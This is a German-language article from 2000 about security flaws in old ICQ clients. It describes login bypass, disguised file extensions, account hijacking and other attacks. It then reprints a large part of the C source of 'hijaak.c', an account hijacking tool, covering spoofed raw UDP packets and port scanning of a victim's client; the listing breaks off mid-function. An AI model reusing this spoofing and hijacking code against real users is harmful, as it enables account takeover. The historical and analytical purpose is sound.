Die Sicherheit von ICQ
Geschrieben von Marc Ruef <marc.ruef@computec.ch> für http://www.computec.ch/
Alle Rechte vorbehalten - Kopieren erlaubt!
Version 2.0a 18. Juli 2000


1.0 Inhaltsverzeichnis
1.0 Inhaltsverzeichnis

2.0 Einführung

3.0 Die Sicherheit

3.1 Die Sicherheitslücken
3.1.1 ICQ98a: Bufferoverflow durch korrupte URL

3.1.2 ICQ98a: Datei-Endungen vortäuschen

3.1.3 ICQ98b: ICQ-Hijacking

3.1.4 ICQ98b: IP-Sniffing durch TCP-Pakete

3.1.5 ICQ98b: Message-Spoofing

3.1.6 ICQ99a: Passwörter werden im Klartext gespeichert

3.1.7 ICQ99a: Unsichere Authentifizierung

3.1.8 ICQ99b: Bufferoverflow dank URL

3.1.9 ICQ99b: Client-to-Client-Protokoll

3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi

3.1.11 ICQ99b: DoS-Attacke durch URL

3.1.12 ICQ99b: File-Sharing

3.1.13 ICQ2000: Und was ist damit?

2.0 Einführung
ICQ (Ausgesprochen "I seek you") konnte sich aufgrund seines hohen Komforts und stetig wachsenden Funktionsumfang als das meistgenutzte Chat-System, neben IRC (Internet Relay Chat), des Internets durchsetzen. Eine Kommunikation kann auf zwei Wege stattfinden: Entweder vom ICQ-Client über den Chat-Server zu einem anderen User, oder direkt von Anwender zu Anwender. Offizielle und inoffizielle ICQ-Clients finden sich für die verschiedensten Plattformen: So sind welche für Windows 9x, Windows NT, Windows CE, Linux, MacOS, BeOS, BSD und sogar Solaris erhältlich. Dies ist gewissermassen eine Meisterleistung der Hersteller der inoffiziellen Client-Software, da das eingesetzte Protokoll nicht öffentlich einsehbar ist. Für Windows empfiehlt sich eindeutig das Nutzen des neuesten offiziellen Clients von Mirabilis, da jener den besten Komfort und höchste Sicherheit bietet und mit allen anderen Clients kompatibel ist. Für Unix-Derivate wurde von Mirabilis offiziell ein Java-Client herausgegeben, der jedoch niemals an die Bedienerfreundlichkeit vieler inoffizieller Clients herankommt. Für Linux gibt es neben den grafischen Clients für die Oberfläche X auch diverse Programme für die Kommandozeile. Mein absoluter Favourit ist zICQ, der zwar einige Einbussen in Punkto Funktionsumfang machen muss, dafür stabil und schnell läuft. Es ist mir dadurch sogar möglich ICQ portabel auf meinem Handy (NOKIA 9110) zu nutzen: Ich wähle mich bequem unterwegs per Telnet auf meinem Linux-Server ein, um danach den Konsolen-Client in Anspruch zu nehmen.

Jeder Nutzer des ICQ-Dienstes erhält bei seinem Eintritt in die Community eine eindeutige Nummer, die UIN (Universal Identifier Number) genannt wird. Diese Nummer ist mit der eindeutigen IP-Adresse oder Telefon-Nummer vergleichbar, da sich dadurch andere User finden und identifizieren lassen. Die Nummern werden additionell 1 vergeben. Das heisst, dass wenn ich bei meiner Registrierung die Nummer 10742206 erhalten habe, der kommende Nutzer automatisch die nächst höhere bekommen wird; also die UIN 10742207. Mitlerweile existieren über 70000000 Nummern, und wer sich noch mit einer 7- oder gar 6-stelligen UIN brüsten darf, kann sich ohne weiteres zu den alten Hasen zählen. UINs mit weniger Stellen werden nicht öffentlich vergeben und vorzugsweise vom Person von ICQ (Mirabilis und AOL) genutzt. Möchte man jemanden finden, lassen sich mit der Eingabe des vollständigen Namens, E-Mail-Adresse oder UIN in das "elektronische Telefonbuch" von ICQ den Nutzer einfach aufspüren. Es gibt auch die offiziellen weissen Seiten, bei denen sich Benutzer des Dienstes in Listen eintragen lassen, die sich einem speziellen Thema widmen.

Auf der sogenannten Kontakt-Liste sind alle User eingetragen, mit denen man regelmässig in Kontakt steht. Auf jener Liste wird stets aktuell ersichtlich, wer gerade online ist oder den PC für einen kurzen Augenblick verlassen hat. Es ist möglich den eigenen Status zu verändern, wobei auf der Kontaktliste des Gegenübers automatisch der neue Status angezeigt wird. Die gängigen Zustände reichen von "online" über "away" bis hin zu "do not disturb". Möchte man nicht öffentlich zugeben, dass man mittels Internet-Zugang zur Zeit im ICQ erreichbar ist, ändert man den eigenen Status in "invisible", wobei nur noch
Auserwählte einem als "online" in der Kontakt-Liste registrieren können. Nun ist es möglich mit wenigen Maus-Klicks oder Tasten-Kombinationen einem ICQ-Nutzer in der eigenen Contact-List eine Message zukommen zu lassen. Auch sind längere Chat-Sessions möglich, bei denen ganz im Stile von iRC auch mehrere Anwender in real-time beiwohnen können. Im Laufe der Zeit hat sich ICQ zu einer wahren Kommunikations-Schaltzentrale entwickelt, da nun bei den neueren (Windows-)Clients auch das Verschicken multimedialer Nachrichten möglich wird oder mittels Plug-Ins Voice-over-IP genutzt werden
kann.

Kurz vor dem Erscheinen der Test-Version von ICQ 2000 machte ein neues Add-On zu ICQ die Runde: Die sogenannte ActiveList. Dadurch wird die
Usenet-ähnliche Zusammenhaltung einer Diskussion möglich. Der Moderator muss als erstes die Server-Software auf dem heimischen PC installieren und
die neu erstellte Liste im Internet anmelden. Ab da an können Interessierte dieser Community beitreten, um einem zuvor spezifizierten Thema in Form einer
Diskussion beizuwohnen. Diese Form der Unterhaltung konnte sich (leider) nicht wirklich durchsetzen, da zu wenige ActiveList-Moderatoren Standleitungen
besitzen, und das Nutzen dieses Zusatzdienstes somit nur temporär möglich ist.

ICQ heimste sich in vergangener Zeit einiges an Unstimmigkeit der Nutzer ein, da oft mögliche Hack-Versuche auf Sicherheitslücken von ICQ abgeschoben
wurden. ICQ alleine ist jedoch selten für Angriffe als Ausgangslage nutzbar, obwohl Remote-Bufferoverflows und DoS-Attacken bekannt sind. Die grösste
Gefahr besteht bei einigen Clients, dass einem potentiellen Angreifer zu viele Informationen über das vermeindliche Zielsystem mitgeteilt wird: Neben der
aktuellen IP-Adresse werden oft auch private Informationen wie die Anschrift oder Telefonnummer in den Details bekanntgegeben. Diese potentielle
Sicherheitslücke wurde bei ICQ2000 unwiederruflich behoben. Auch finden sich zahlreiche War-Tools im Internet, mit denen sich Benutzer mit hunderten
von Nachrichten überfluten lassen. Die Ports, die ICQ-Clients standartmässig öffnen ermöglichen nur in den seltensten Konfigurationen direkte Angriffe - Viel mehr finden UIN-Übernahmen bei durch die NETBIOS-Freigabe falsch konfigurierte Systeme statt.

3.0 Die Sicherheit
Nützlicherweise kann man beim kleinen Chat-Tool vor der Version 2000 seine eigene IP-Adresse verstecken lassen, so dass andere ICQ-Benutzer in ihren Clients jene nicht mehr ohne weiteres ausfindig machen können: Nach dem Öffnen der PopUp-Liste wählt man den Eintrag "Preferences & Security" und wählt "Security & Privacy". Danach öffnet sich ein weiteres Fenster. Bei "Chance ContactList Authorisation" ist es möglich anzugeben, dass jeder ICQ-User, der einem in seine Contact-List aufnehmen möchte, zuerst um Erlaubnis fragen
muss. Selektiert man "my authorisation is required", wird diese Funktion aktiv. Ist das Kästchen bei "IP Publishing" aktiviert, ist die eigene IP-Adresse ohne fremde Hilfsmittel mittels ICQ nicht herausfindbar. Das Veröffentlichen der eigenen IP-Adresse mittels ICQ wird so unterdrückt. Trotzdem gibt es spezielle Tools, die einem ein erstes Abtasten automatisieren lassen. Es gibt auch die Möglichkeit dem Gegenüber eine Nachricht zukommen zu lassen, und mit der Eingabe von "netstat -a" am heimischen Rechner den Verbindungsaufbau auszuwerten. Ab ICQ2000 sind diese Attacken jedoch nicht mehr durchführbar, da die eigene IP-Adresse vom Client her nicht mehr verschickt werden darf.

In vergangener Zeit wurde in den einschlägigen Newsgroups immerwieder die angeblich unberechenbare Sicherheit von ICQ diskutiert. Viele ICQ-Versionen weisen Sicherheitslücken auf, die von Angreifern remote für destruktive Zwecke genutzt werden können. Ein weiteres Manko von ICQ besteht darin, dass der Chat-Client unbeholfen relativ viel Informationen über das heimische System herausrückt. Viele dieser besagten Informationen können für einen Angreifer von besonderem Interesse sein. Auch das Nutzen einer Firewall vermag viele der durch ICQ zu Tage tretenden Sicherheitslücken nicht zu schliessen. Grundsätzlich sollte wirklich auf den Einsatz von ICQ in zu schützenden Umgebungen verzichtet werden.

3.1 Die Sicherheitslücken

3.1.1 ICQ98a: Bufferoverflow durch korrupte URL
Zack fand im Jahre 1998 eine ziemlich peinliche Sicherheitslücke in Form eines Remote-Bufferoverflows bei der Anmeldung des ICQ-Clients beim Mirabilis-Server, die jedoch durch Mirabilis seit längerem behoben wurde.

Die offiziellen Clients benutzen höchstens die ersten 8 Zeichen des Passworts zur Authentifizierung; die anderen Stellen werden einfach ignoriert, so wie dies auch bei der Passwort-Anmeldung auf Unix-Systemen der Fall ist. Die Linux-Clones machen dies nicht: Würde nun ein Passwort mit mehr als 8 Zeichen an den Mirabilis-Server geschickt werden, endet die Aktion in einem Bufferoverrun und man kann sich mit beliebiger UIN einloggen. Eine gute ICQ-Clone zur Durchführung eines solchen Tests war der Client für Unix-Derivate namens zICQ. Als UIN musste im Config-File die gewünschte Nummer und als Passwort simpel "123456789" (Einfach grösser als die vorgesehene Länge!) eingetragen werden. Nach erfolgreichem Eindringen konnten Nachrichten im Namen des Opfers geschickt und empfangen werden.

Diese Attacke ist kein Spoofing, sondern ein simples Einloggen unter falschem Namen. Bei Spoofing können nämlich keine Nachrichten im Namen des anderen empfangen werden. Dieser Trick funktionierte nicht, wenn jemand schon mit einer gültigen UIN eingeloggt war. Der Fehler wurde relativ schnell von Mirabilis behoben und kann heute nicht mehr genutzt werden.

3.1.2 ICQ98a: Datei-Endung vortäuschen
Dieser nun folgend erklärt, von Justin Clift herausgefundene Bug wurde mit dem Win32 ICQ-Client in der Version 98a 1.3 erfolgreich getestet. Auch funktioniert diese Attacke im beliebten mIRC-Client. Schickt eine Person einem anderen User per ICQ eine Datei, so erscheint ein PopUp-Fenster, in der der Empfänger den Datei-Namen und die kurze
Beschreibung des Senders lesen kann. Nun hat der Empfänger die Wahl, ob er die Daten verwerfen möchte, ob er sie speichern will und ob sie nach dem speichern automatisch angezeigt bzw. ausgeführt werden sollen.

Das Problem besteht nun darin, dass bei diesem PopUp-Fenster der Ausschnitt für die Anzeige des Datei-Namens in gewissen Fällen nicht ausreichend ist, und somit nur der Anfang des Dateinamens angezeigt wird. Als Beispiel kann hier die ausführbare Datei mit dem Namen "marc4.jpg.exe" genommen werden: Der Empfänger sieht auf dem
Bildschirm nur "marc4.jpg" als Dateinamen; der exekutive Rest wird ihm nicht angezeigt. Speichert der Empfänger diese Sendung nun, und wählt die Option "Automatisches Anzeigen" bzw. "Ausführen nach dem Speichern", so wird nicht ein Bild angezeigt, sondern der vermeindlich korrupter Programmcode ausgeführt.

Mirabilis wurde über diesen Fehler informiert, sie versäumten es jedoch, aktiv gegen diesen Fehler ihrerseits vorzugehen.

3.1.3 ICQ98b: ICQ-Hijacking
Ein Hacker namens Wumpus entwickelte in C einen ICQ-Hijacker, der Sicherheitslücken des eingesetzten Protokolls geschickt ausnutzt, um einen Account zu stehlen. Ist ein User mit seinem Win32- oder Java-Client eingeloggt, kann das Passwort dieses Accounts geändert werden, ohne das ursprüngliche Passwort zu kennen. Sein Programm hijaak.c wurde erfolgreich gegen die Versionen 1.22 bis 1.26 getestet und zog eine Clone mit dem Namen wumpus4.c mit sich:
/*
    ICQ Hijaak
    Version 1C

    Author:  wumpus@innocent.com
    Copyright (c) 1998 Wolvesbane

    By downloading or compiling this  program, you agree to the  terms
    of this license. If you do  not agree with any of these  terms you
    MUST  delete  this  program  immediately  from  all  storage areas
    (including browser caches).

    (A) You  agree  not  to  use  this  program in any way that  would
        constitute  a  violate  of  any  applicable  laws.   This  may
        included federal  laws if  you live  in the  United States and
        similar laws regarding computer security in other countries.
    (B) You  agree  to  hold  the  authors (referred to collective  as
        Wolvesbane) harmless in  any damages that  result due to  your
        possession or use of this software.
    (C) Wolvesbane  does not  claim that  this program  implements any
        functions.  As the saying goes, "You get what you pay for." --
        And you didn't pay anything for this.
    (D) This software is FREE  for _NON-COMMERCIAL_ use.  You  may not
        use this program for any commercial use (or any other activity
        which makes you  money with the  assistance of this  program).
        The author is not interested in commercial use of this program
        (and cannot think of what commercial use would consist of).
    (E) This program was  created using Linux with  IP-Masquerading to
        run the ICQ program  unmodified and without any  dissassembly.
        The  testing  was  done  with  volunteers,  and  with a second
        computer  logged  into  the  ICQ  network.   No ICQ users were
        harmed in the creation or testing of this program.
    (F) This copyright applies only to the code written by Wolvesbane,
        and not to anything included under Fair Use.
    (G) Please note that if you use ANY sections of this code in  your
        work,  (which   I  expressly   allow   as   long  as   it   is
        NON-COMMERCIAL), you are obligated  to give me some  credit in
        your  comments  (if  it  is  a  source  file  ) or in a string
        constant if it is a binary file.  If you do not wish to do so,
        you may NOT include ANY portion of this file in your own work.
*/

#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>        /* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
                int * addr_count,
                struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int      u16;
typedef unsigned long int       u32;
typedef unsigned char           u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES     255
int Resolve( char * hostname, struct in_addr * addr ) {
        struct hostent * hinfo;
        (void)memset( (void *)addr, 0, sizeof( struct in_addr ));
        if ( inet_aton( hostname, addr) ) return SUCCESS;
        if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
        (void)memcpy( (void *)addr, (void *)hinfo->h_addr,
                sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
        struct in_addr ** addresses ) {
        int                     host_count;
        int                     i;
        char                    * p;
        struct  in_addr         address;
        struct  hostent         * hinfo;
        if ( inet_aton( hostname, &address ) ) {
                p = (char *)malloc(sizeof(address));
                if ( !p ) {
                        fprintf(stderr,"MultiResolve: Allocation failed!\n");
                        return FAILURE;
                }
                (void)memcpy((void *)p,(void *)&address, sizeof(address) );
                *addr_count = 1;
                *addresses = (struct in_addr *)p; return SUCCESS; }
        if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
        if ( hinfo->h_length != sizeof( struct in_addr ) ) {
                fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\
                        "to size of struct inaddr (%d) ",
                        hinfo->h_length, sizeof(struct in_addr) );
                return FAILURE;
        }
        host_count = 0;
        for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
                struct in_addr  * addr_ptr;
                addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
                if ( !addr_ptr )
                        break;
                host_count++;
        }
        p = (char *)malloc( host_count * hinfo->h_length );
        if ( !p ) {
                fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
                        host_count * hinfo->h_length );
                return FAILURE;
                }
        *addresses = (struct in_addr *)p;
        for ( i = 0; i < host_count; i++ ) {
                (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
                        hinfo->h_length ); p += hinfo->h_length; }
        *addr_count = host_count; return SUCCESS; }
#define IP_VERS         0
#define IP_TOS          1
#define IP_TOTLEN       2
#define IP_ID           4
#define IP_FLAGS        6
#define IP_TIMETOLIVE   8
#define IP_PROTOCOL     9
#define IP_CHECKSUM     10
#define IP_SRC          12
#define IP_DST          16
#define IP_END          20
#define UDP_SOURCE      0
#define UDP_DEST        2
#define UDP_LENGTH      4
#define UDP_CHECKSUM    6
#define UDP_END         8
#define UCHDR_SOURCE    0
#define UCHDR_DEST      4
#define UCHDR_PROTOCOL  9
#define UCHDR_UDPLEN    10
#define UCHDR_END       12
#define ICMP_TYPE       0
#define ICMP_CODE       1
#define ICMP_CHECKSUM   2
#define ICMP_END        4
u16 cksum( u16 * buf, int numWords ) {
        u32 sum;
        sum = 0; while ( numWords -- ) { sum += *(buf++); }
        sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
        return ~sum ; }
 

void make_ip_hdr(       u8      * packet, int     length, u8      protocol,
         u16     id, u16     flags, struct in_addr  me,
                struct in_addr  you, u8      ttl ) {
        memset( packet, 0, IP_END );
        byte(*packet, IP_VERS ) = 0x45;
        word(*packet, IP_TOTLEN ) = htons( length );
        byte(*packet, IP_TIMETOLIVE ) = ttl;
        byte(*packet, IP_PROTOCOL ) = protocol;
        word(*packet, IP_ID ) = htons( id );
        word(*packet, IP_FLAGS ) = htons( flags );
        dword(*packet,IP_SRC ) = *((u32 *)&me);
        dword(*packet,IP_DST ) = *((u32 *)&you);
        word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,
                        u16     dport ) {
        u8      * udp;
        static  u8      chdr[UCHDR_END];
        u32     pchecksum;

        memset( chdr, 0, UCHDR_END );

        udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
        memset( udp, 0, UDP_END );
        word(*udp, UDP_SOURCE ) = htons( sport );
        word(*udp, UDP_DEST ) = htons( dport );
        word(*udp, UDP_LENGTH ) = htons( udplength );
        memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
        byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
        word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
        pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
        if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
        pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
        + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );
        word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
        int     s;
        int     option;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
        if ( s < 0 ) { perror("Socket:"); exit(-1); }
        option = 1;
        if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
                        (char *)&option,  sizeof( option ) ) < 0 ) {
                perror("Setting IP_HDRINCL"); exit(0); }
        return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
        struct sockaddr_in      laddress;
        struct sockaddr         * laddr = (struct sockaddr *)&laddress;
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     s;
        int     err;
        int     len;

        s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
        if ( s < 1 ) {
                return FAILURE;
        }
        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = remote;

        err = connect(s, raddr, sizeof(raddress ));
        if ( err < 0 ) {
                return FAILURE;
        }
        len = sizeof(laddress);
        err = getsockname(s, laddr, &len );
        if ( err < 0 ) {
                return FAILURE;
        }
        *local = laddress.sin_addr;
        close(s);
        return SUCCESS;
}
int CreateICMPSocket( void )
{
        int s;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
        if ( s < 1 )
                return FAILURE;
        return s;
}
int  SendUDP( int s, struct in_addr source, struct in_addr dest,
                u16 sport, u16 tport )
{
        static u8       packet[576];
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     psize;
        int     err;
 

        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = dest;
 

        psize = IP_END + UDP_END + 6;

        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                source, dest, 0x7F );

        make_udp_hdr( packet, psize - IP_END, sport, tport);

        err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
        if ( err != psize ) {
                perror("Sending");
                return FAILURE;
                }
        return SUCCESS;
}
const int       verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
        int             s_icmp;
        struct timeval  start_time, end_time, wait_time;
        fd_set          rdfs;
        int             err;
        static u8       packet[1500]; /* should be max MTU */
        struct sockaddr junkaddr;
        int             junksize;

        u8              * icmphdr;
        u8              * fiphdr;
        u8              * fudphdr;
        int             len;
        int             got_unreach;
        struct in_addr  localaddr;
        int             rawsock;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
        perror("GetLocalAddress"); exit(-1); }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
        FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
        if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
                perror("Sending UDP packet"); exit(-1); }
        got_unreach = 0; gettimeofday( &start_time, NULL );
        do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
                err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
                if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
                if ( !err ) break;
                junksize = sizeof( struct sockaddr );
                err = recvfrom( s_icmp, packet, 1500, 0,
                        &junkaddr, &junksize );
                if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
                        exit(-1); }
                if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                   (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )
                        goto check_timeout;
                len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                icmphdr = packet + len;
                if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                   (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                        goto check_timeout;
                fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                   ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )   )
                        goto check_timeout;
                fudphdr = fiphdr + len;
                if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
                         got_unreach = 1; break; }
check_timeout:
               gettimeofday( &end_time, NULL );
        } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
        close( s_icmp ); close( rawsock);
        if ( got_unreach ) return FAILURE;
    else return SUCCESS;

}
typedef struct  foobar
{
        int     next;
        int     prev;
        u16     rem_port;
        int     times;
} port_info;
#define MAX_BURST       128
#define UNUSED_HEAD     MAX_BURST + 1
#define UNUSED_TAIL     MAX_BURST + 2
#define LIVE_HEAD       MAX_BURST + 3
#define LIVE_TAIL       MAX_BURST + 4
#define FIRST_LPORT     55000
#define SEND_COUNT      3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
        int     unused_head;
        int     unused_tail;
        int     live_head;
        int     live_tail;
        int     i;
        port_info       List[ LIVE_TAIL + 1 ];
        int     Current[ MAX_BURST ];
        int     cur_min, cur_max;
        int     now_port;
        int     delay;
        int     my_port;
        int     cur_send;
        struct timeval  wait_time;
        fd_set          rdfs;
        int     err;
        int     s_icmp, rawsock;
        struct in_addr  localaddr;
        *tport = 0;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
                perror("GetLocalAddress"); return FAILURE; }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  {
                perror("Getting ICMP socket"); return FAILURE; }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) {
                perror("Getting Raw socket"); return FAILURE; }
        FD_ZERO( &rdfs );
        FD_SET( s_icmp, &rdfs );
        List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
        List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
        List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
        List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
        List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
        List[ UNUSED_HEAD ].next = UNUSED_TAIL;
        List[ UNUSED_HEAD ].rem_port = 0;
        for ( i = 0; i < MAX_BURST ; i++ ) {
                PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
                NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
                TIMES( i ) = SEND_COUNT; }
        now_port = start;
        cur_min = now_port;
        cur_max = MAX_BURST;
        my_port = FIRST_LPORT;
        cur_send = 16;

        while ( 1 ) {
                int     cur;
                int     cnt;

                cur_max = cur_send;
                cur_min = now_port;
                cur = List[ LIVE_HEAD ].next;
                cnt = 0;
                while ( NEXT(cur) != -1 ) {

                        if (!cur_max ) {
                                break;
                        }
                        cnt++;

                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, PORT(cur) ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }
                        cur_max--;
                        TIMES(cur)--;
                        cur = NEXT(cur);

                        if ( NEXT(cur) > LIVE_TAIL ) {
                                printf("Ugh! %d \n", NEXT(cur) );
                                exit(-1);
                        }

                }

                for ( i = 0; i < cur_max ; i ++ ) {
                        int node;

                        if ( cur_min > end )
                                break;

                        node = NEXT( UNUSED_HEAD );
                        if ( -1 == NEXT( node ) )
                                    break;
                        NEXT( UNUSED_HEAD ) = NEXT( node );
                        PREV( NEXT(node) ) = UNUSED_HEAD;

                        PREV( node ) = PREV( LIVE_TAIL );
                        NEXT( node ) = LIVE_TAIL;
                        NEXT( PREV( node ) ) = node;
                        PREV( NEXT( node ) ) = node;

                        PORT( node ) = cur_min + i;
                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, cur_min+i ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }

                        Current[ i ] = node;
                }

                if ( ( now_port >= end ) &&
                     ( !cnt ) ) {
                        printf("Found nothing!\n");
                        return SUCCESS;
                }
                now_port += cur_max;

                /*
                 * Delay, waiting for responses.  Continue until the
                 * operation times out, meaning that we waited long enough
                 * for a packet..
                 */
                cnt = 0;
                while ( 1 ) {
                        int junksize;
                        static struct sockaddr  junkaddr;
                        static u8 packet[1500];
                        int     len;
                        u8      * icmphdr, * fiphdr, *fudphdr;
                        int     got_port;
                        int     cur;

                        wait_time.tv_usec = 0;
                        wait_time.tv_sec = 5;
                        FD_SET( s_icmp, &rdfs );
                        err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );                        if ( -1 == err ) {
                                perror("UDPSCAN - Select");
                                return FAILURE;
                        }
                        if ( !err )  {
                                break;
                        }
                        junksize = sizeof( struct sockaddr );
                        err = recvfrom( s_icmp, packet, sizeof(packet), 0,
                                &junkaddr, &junksize );
                        if ( -1 == err ) {
                                perror("UDPSCAN - recvfrom: ");
                                exit(-1);
                        }
